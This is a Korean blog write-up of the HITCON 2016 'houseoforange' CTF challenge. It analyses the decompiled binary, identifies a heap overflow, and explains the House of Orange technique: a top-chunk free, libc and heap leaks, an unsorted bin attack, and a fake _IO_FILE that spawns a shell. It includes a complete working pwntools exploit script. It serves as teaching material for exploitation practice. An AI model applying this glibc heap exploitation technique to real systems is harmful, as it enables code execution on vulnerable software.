ABOUT ME

-

  • houseoforange - HITCON 2016
    Write-ups/CTFs 2020. 2. 27. 18:49

    Prob Info


    Checksec

    모든 보호기법이 걸려있다. 또한 이름에서 알 수 있듯이 House of Orange 문제이다.

    Code


    void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
    {
      signed int v3; // eax
    
      setup();
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          v3 = read_long();
          if ( v3 != 2 )
            break;
          see_house();
        }
        if ( v3 > 2 )
        {
          if ( v3 == 3 )
          {
            upgrade_house();
          }
          else
          {
            if ( v3 == 4 )
            {
              puts("give up");
              exit(0);
            }
    LABEL_14:
            puts("Invalid choice");
          }
        }
        else
        {
          if ( v3 != 1 )
            goto LABEL_14;
          build_house();
        }
      }
    }

    문제 바이너리가 스트립되어있어 함수 이름을 변경해주었다. 메뉴는 3가지이며 build_house, see_house, upgrade_house가 있다. 

     

    int build_house()
    {
      unsigned int size; // [rsp+8h] [rbp-18h]
      signed int color; // [rsp+Ch] [rbp-14h]
      HOUSE *v3; // [rsp+10h] [rbp-10h]
      HOUSE_INFO *v4; // [rsp+18h] [rbp-8h]
    
      if ( count > 3u )
      {
        puts("Too many house");
        exit(1);
      }
      v3 = (HOUSE *)malloc(0x10uLL);
      printf("Length of name :");
      size = read_long();
      if ( size > 0x1000 )
        size = 4096;
      v3->name = (char *)malloc(size);
      if ( !v3->name )
      {
        puts("Malloc error !!!");
        exit(1);
      }
      printf("Name :");
      read_data(v3->name, size);
      v4 = (HOUSE_INFO *)calloc(1uLL, 8uLL);
      printf("Price of Orange:", 8LL);
      v4->price = read_long();
      print_color();
      printf("Color of Orange:");
      color = read_long();
      if ( color != 56746 && (color <= 0 || color > 7) )
      {
        puts("No such color");
        exit(1);
      }
      if ( color == 56746 )
        v4->color = 56746;
      else
        v4->color = color + 30;
      v3->info = v4;
      house = &v3->info;
      ++count;
      return puts("Finish");
    }

    집은 최대 4번 만들 수 있고 마지막 만든 집만 전역변수에서 관리한다.

    이 코드를 보고 구조체를 두개 만들었다.

    struct HOUSE_INFO
    {
      int price;
      int color;
    };
    
    struct HOUSE
    {
      HOUSE_INFO *info;
      char *name;
    };

    여기서 HOUSE_INFO는 신경 쓸 필요 없고 name에 최대 0x1000바이트까지 입력을 받을 수 있다.

     

    int see_house()
    {
      int v0; // eax
      int result; // eax
      int v2; // eax
    
      if ( !house )
        return puts("No such house !");
      if ( house->info->color == 56746 )
      {
        printf("Name of house : %s\n", house->name);
        printf("Price of orange : %d\n", house->info->price);
        v0 = rand();
        result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", qword_203080[v0 % 8]);
      }
      else
      {
        if ( house->info->color <= 30 || house->info->color > 37 )
        {
          puts("Color corruption!");
          exit(1);
        }
        printf("Name of house : %s\n", house->name);
        printf("Price of orange : %d\n", house->info->price);
        v2 = rand();
        result = printf("\x1B[%dm%s\x1B[0m\n", (unsigned int)house->info->color, qword_203080[v2 % 8]);
      }
      return result;
    }

    see_house는 info와 name을 출력해준다.

     

    int upgrade_house()
    {
      HOUSE_INFO *v1; // rbx
      unsigned int v2; // [rsp+8h] [rbp-18h]
      signed int v3; // [rsp+Ch] [rbp-14h]
    
      if ( upgrade_count > 2u )
        return puts("You can't upgrade more");
      if ( !house )
        return puts("No such house !");
      printf("Length of name :");
      v2 = read_long();
      if ( v2 > 0x1000 )
        v2 = 0x1000;
      printf("Name:");
      read_data(house->name, v2);
      printf("Price of Orange: ", v2);
      v1 = house->info;
      v1->price = read_long();
      print_color();
      printf("Color of Orange: ");
      v3 = read_long();
      if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
      {
        puts("No such color");
        exit(1);
      }
      if ( v3 == 56746 )
        house->info->color = 56746;
      else
        house->info->color = v3 + 30;
      ++upgrade_count;
      return puts("Finish");
    }

    upgrade_house는 최대 3번 실행할 수 있다. 그런데 여기서 원래 힙의 사이즈를 확인하지 않고 최대 0x1000바이트까지 입력을 받아 오버플로우가 일어난다. 이를 이용해 libc/heap leak을 하고 house of orange를 진행하면 된다. 

     

    먼저 바이너리 내부에서 free를 할 수 없으니 탑청크를 덮어 강제로 free 시켜야한다. 대충 400만큼의 길이로 house를 만들면 힙의 구조는 아래처럼 된다.

     

    탑청크의 크기를 페이지 정렬을 하며 줄이고 (0xe21) 이보다 더 큰 사이즈의 힙을 요청하면 탑청크가 free되어 unsorted bin에 들어갈 것이다. 

    build(400, 'a'*0x10, 1, 1)
    
    payload = 'a'*0x190
    payload += p64(0) + p64(0x21)
    payload += p32(1) + p32(1) + p64(0)
    payload += p64(0) + p64(0xe21)
    
    upgrade(0x300, payload, 1, 1)
    build(0x1000, 'b'*0x10, 1, 1)

    여기까지 진행하면 원래 탑청크가 free되어 unsorted bin에 들어가 있고 새로 생성한 0x1000바이트의 힙이 매우 높은 주소에 잡힐 것이다. 

    이후 heap/libc leak을 해야하는데, 이는 large bin을 이용해서 가능하다. unsorted bin의 큰 청크에서 large bin 사이즈의 청크를 분리해서 할당해 줄 때 한번 분리를 하고 large chunk의 특징인 fd_nextsize, bk_nextsize를 세팅해서 반환한다. 현재 large bin에 다른 청크가 등록되어있지 않으므로 이 fd_nextsize, bk_nextsize에 자기 자신의 주소가 적힌다. 

    이를 see_house로 한번 leak을 하고 upgrade_house를 이용해 0x10바이트를 덮고 다시 see_house로 heap leak을 시키면 된다. 여기까지의 익스 코드는 아래와 같다. 

    build(400, 'a'*0x10, 1, 1)
    
    payload = 'a'*0x190
    payload += p64(0) + p64(0x21)
    payload += p32(1) + p32(1) + p64(0)
    payload += p64(0) + p64(0xe21)
    
    upgrade(0x300, payload, 1, 1)
    build(0x1000, 'b'*0x10, 1, 1)
    
    gdb.attach(p)
    
    build(1024, 'c'*8, 1, 1)
    
    see()
    p.recvuntil('c'*8)
    libc = u64(p.recvuntil('\x7f')+'\x00\x00') - 1624 + 88
    log.info('leaked main_arena + 88: ' + hex(libc))
    libc_base = libc - main_arena_offset - 88
    log.info('leaked libc: ' + hex(libc_base))
    io_list_all = libc + 0x9a8
    log.info('leaked io_list_all: ' + hex(io_list_all))
    libc_system = libc_base + system_offset
    log.info('leaked system: ' + hex(libc_system))
    
    upgrade(0x10, 'c'*8 + 'd'*8, 1, 1)
    see()
    p.recvuntil('d'*8)
    heap = p.recvuntil('\nPrice').split('\n')[0]
    heap = u64(heap + (8 - len(heap))*'\x00')
    log.info('leaked heap: ' + hex(heap))
    
    old_top = heap + 0x430
    log.info('old top: ' + hex(old_top))

    구한 값을 오프셋을 구해 실제 주소들을 계산한다. 

    이제 house of orange를 위해 이전 탑청크에 fake _IO_FILE_plus를 만들고 함께 unsorted bin attack을 준비한다.

    payload = 'a'*(0x400 + 0x20)
    payload += '/bin/sh\x00' + p64(0x61)
    payload += p64(libc) + p64(io_list_all-0x10) # unsorted bin attack
    payload += p64(2) + p64(3)    # top + 0x20
    payload += p64(0) * 2         # top + 0x30
    payload += p64(0) * 2         # top + 0x40
    payload += p64(0) * 2         # top + 0x50
    payload += p64(0) * 2         # top + 0x60
    payload += p64(0) + p64(libc_system)         # top + 0x70
    payload += p64(0) * 2         # top + 0x80
    payload += p64(0) * 2         # top + 0x90
    payload += p64(0) * 2         # top + 0xa0
    payload += p64(0) * 2         # top + 0xb0
    payload += p64(0) * 2         # top + 0xc0
    payload += p64(0) + p64(old_top + 0x60)         # top + 0xd0
    
    upgrade(0x1000, payload, 1, 1)

    이렇게 업그레이드를 하고 build_house 함수에서 malloc(0x10)을 하면 쉘을 딸 수 있다.

     

     

    #!/usr/bin/python
    from pwn import *
    #context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    p = process('./houseoforange_hitcon')
    
    lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    system_offset = lib.symbols['system']
    
    main_arena_offset = 0x3c4b20
    
    def build(size, name, price, color):
        p.sendlineafter(' : ', '1')
        p.sendlineafter('name :', str(size))
        p.sendafter('Name :', name)
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(price))
    
    def see():
        p.sendlineafter(' : ', '2')
    
    def upgrade(size, name, price, color):
        p.sendlineafter(' : ', '3')
        p.sendlineafter('name :', str(size))
        p.sendafter('Name:', name)
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(price))
    
    build(400, 'a'*0x10, 1, 1)
    
    payload = 'a'*0x190
    payload += p64(0) + p64(0x21)
    payload += p32(1) + p32(1) + p64(0)
    payload += p64(0) + p64(0xe21)
    
    upgrade(0x300, payload, 1, 1)
    build(0x1000, 'b'*0x10, 1, 1)
    
    build(1024, 'c'*8, 1, 1)
    
    see()
    p.recvuntil('c'*8)
    libc = u64(p.recvuntil('\x7f')+'\x00\x00') - 1624 + 88
    log.info('leaked main_arena + 88: ' + hex(libc))
    libc_base = libc - main_arena_offset - 88
    log.info('leaked libc: ' + hex(libc_base))
    io_list_all = libc + 0x9a8
    log.info('leaked io_list_all: ' + hex(io_list_all))
    libc_system = libc_base + system_offset
    log.info('leaked system: ' + hex(libc_system))
    
    upgrade(0x10, 'c'*8 + 'd'*8, 1, 1)
    see()
    p.recvuntil('d'*8)
    heap = p.recvuntil('\nPrice').split('\n')[0]
    heap = u64(heap + (8 - len(heap))*'\x00')
    log.info('leaked heap: ' + hex(heap))
    
    old_top = heap + 0x430
    log.info('old top: ' + hex(old_top))
    
    payload = 'a'*(0x400 + 0x20)
    payload += '/bin/sh\x00' + p64(0x61)
    payload += p64(libc) + p64(io_list_all-0x10) # unsorted bin attack
    payload += p64(2) + p64(3)    # top + 0x20
    payload += p64(0) * 2         # top + 0x30
    payload += p64(0) * 2         # top + 0x40
    payload += p64(0) * 2         # top + 0x50
    payload += p64(0) * 2         # top + 0x60
    payload += p64(0) + p64(libc_system)         # top + 0x70
    payload += p64(0) * 2         # top + 0x80
    payload += p64(0) * 2         # top + 0x90
    payload += p64(0) * 2         # top + 0xa0
    payload += p64(0) * 2         # top + 0xb0
    payload += p64(0) * 2         # top + 0xc0
    payload += p64(0) + p64(old_top + 0x60)         # top + 0xd0
    
    upgrade(0x1000, payload, 1, 1)
    
    p.sendlineafter(' : ', '1')
    
    #gdb.attach(p, 'b *abort')
    
    p.interactive()

    'Write-ups > CTFs' 카테고리의 다른 글

    feedme - DEFCON 2016  (0) 2020.03.01
    speedrun-009 - DEFCON 27  (0) 2020.02.22

    댓글

Designed by Tistory.